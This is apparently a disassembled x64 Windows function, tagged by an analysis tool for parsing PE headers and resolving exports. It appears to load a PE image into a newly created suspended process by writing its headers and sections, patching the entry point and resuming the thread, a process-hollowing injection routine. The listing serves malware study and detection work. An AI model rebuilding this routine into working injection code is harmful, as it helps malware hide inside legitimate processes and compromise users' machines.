Function at 0x14001cc24
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x78]
sub rsp, 0x150
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r12, r8
mov rsi, rdx
mov r15, rcx
xor ebx, ebx
mov r13b, bl
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
call fcn.1400026f0
mov dil, bl
mov r14b, byte [rbp + 0xb8]
test r14b, r14b
je 0x14001cd3e
movdqa xmm0, xmmword [0x14007d090]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], bl
mov r9b, byte [rbp + 0xb0]
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
mov ecx, eax
call fcn.14001c45c
test al, al
je 0x14001ccf8
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14001ccf8
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rbx + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140022c38
test eax, eax
je 0x14001ccf8
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x80]
call fcn.14000fa10
movzx edi, bl
test eax, eax
lea eax, [rbx + 1]
cmovne edi, eax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14001cd35
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cd30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2a8
call fcn.14004fa5c
test dil, dil
je 0x14001d27f
lea rdx, [0x14007df00]
lea rcx, [rsp + 0x60]
call fcn.14000bcbc
cmp qword [rax + 0x18], 0x10
jb 0x14001cd59
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14001cda2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cd9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2ae
call fcn.14004fa5c
movdqa xmm0, xmmword [0x14007d090]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], bl
test rdi, rdi
je 0x14001d27f
lea rdx, [0x14007eb00]
lea rcx, [rbp - 0x60]
call fcn.14000bcbc
cmp qword [rax + 0x18], 0x10
jb 0x14001cdd7
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4f30], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14001ce25
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2b4
call fcn.14004fa5c
lea rdx, [0x14007eb28]
lea rcx, [rbp - 0x60]
call fcn.14000bcbc
cmp qword [rax + 0x18], 0x10
jb 0x14001ce3f
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4f38], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14001ce8d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2ba
call fcn.14004fa5c
lea rdx, [0x14007eb50]
lea rcx, [rbp - 0x60]
call fcn.14000bcbc
cmp qword [rax + 0x18], 0x10
jb 0x14001cea7
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4f40], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14001cef5
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cef0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2c0
call fcn.14004fa5c
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x14001d15b
movsxd rbx, dword [r15 + 0x3c]
add rbx, r15
cmp dword [rbx], 0x4550
jne 0x14001d159
lea rdx, [rbp + 0xb8]
mov rcx, rsi
call fcn.140010050
mov ecx, 0x14c
mov eax, dword [rbp + 0xb8]
cmp word [rbx + 4], cx
jne 0x14001cf3f
test eax, eax
jne 0x14001d27f
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x14001cf53
cmp eax, 6
jne 0x14001d27f
lea rdi, [rsp + 0x60]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x20]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x20], edx
mov dword [rbp + 0x1c], 0x101
xor edi, edi
mov word [rbp + 0x20], di
lea rax, [rsp + 0x60]
xor r9d, r9d
test r14b, r14b
je 0x14001cfc5
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r8, r12
mov rdx, rsi
mov rcx, qword [rbp - 0x78]
call fcn.140022e30
jmp 0x14001cff7
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call fcn.140022f8c
test eax, eax
je 0x14001d159
mov r9d, 4
mov r8d, 0x1000
lea r14d, [r9 + 4]
mov edx, r14d
xor ecx, ecx
call fcn.1400227c4
mov rsi, rax
mov qword [rbp - 0x40], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.14001127c
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x14001d152
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, r14d
lea r8, [rbp - 0x30]
call qword [0x1400a4f30]
neg byte [rbp + 0xa8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
call fcn.1400228b0
mov qword [rbp - 0x68], rax
mov rcx, qword [rsp + 0x60]
test rax, rax
je 0x14001d152
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], rdi
mov r8, r15
mov rdx, rax
call fcn.1400103e8
movzx edi, word [rbx + 0x14]
add rdi, 0x2c
xor r12d, r12d
mov r14d, r12d
cmp r12w, word [rbx + 6]
jae 0x14001d0fd
add rdi, rbx
lea esi, [r12 + 1]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r15
mov edx, dword [rdi - 8]
add rdx, qword [rbp - 0x68]
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x60]
call fcn.1400103e8
lea rdi, [rdi + 0x28]
add r14d, esi
movzx eax, word [rbx + 6]
cmp r14d, eax
jl 0x14001d0c9
mov rsi, qword [rbp - 0x40]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.1400103e8
mov eax, dword [rbx + 0x28]
add rax, qword [rbp - 0x68]
mov qword [rsi + 0x80], rax
mov rdx, rsi
mov rcx, qword [rsp + 0x68]
call qword [0x1400a4f38]
mov rcx, qword [rsp + 0x68]
call qword [0x1400a4f40]
mov eax, 1
mov r13b, al
jmp 0x14001d159
xor edx, edx
call fcn.140020fa8
xor ebx, ebx
cmp qword [rbp - 0x80], rbx
je 0x14001d25a
lea rdx, [0x14007eb70]
lea rcx, [rsp + 0x60]
call fcn.14000bcbc
nop
cmp qword [rax + 0x18], 0x10
jb 0x14001d181
mov rax, qword [rax]
mov rcx, rax
call fcn.140023e7c
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14001d1c9
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d1c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2c6
call fcn.14004fa5c
movdqa xmm0, xmmword [0x14007d090]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], bl
test rdi, rdi
je 0x14001d256
lea rdx, [0x14007eb90]
lea rcx, [rbp - 0x60]
call fcn.14000bcbc
cmp qword [rax + 0x18], 0x10
jb 0x14001d1fa
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a4f98], rax
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14001d24b
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d23f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d2a2
call fcn.14004fa5c
mov rax, qword [0x1400a4f98]
test rax, rax
je 0x14001d256
mov rcx, qword [rbp - 0x80]
call rax
mov qword [rbp - 0x80], rbx
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x14001d26c
call fcn.14002368c
mov qword [rbp - 0x78], rbx
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14001d27a
call fcn.14002368c
mov al, r13b
jmp 0x14001d281
xor al, al
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400541b4
int3
call fcn.1400541b4
int3
call fcn.1400541b4
int3
call fcn.1400541b4
int3
call fcn.1400541b4
int3
call fcn.1400541b4
int3
call fcn.1400541b4
int3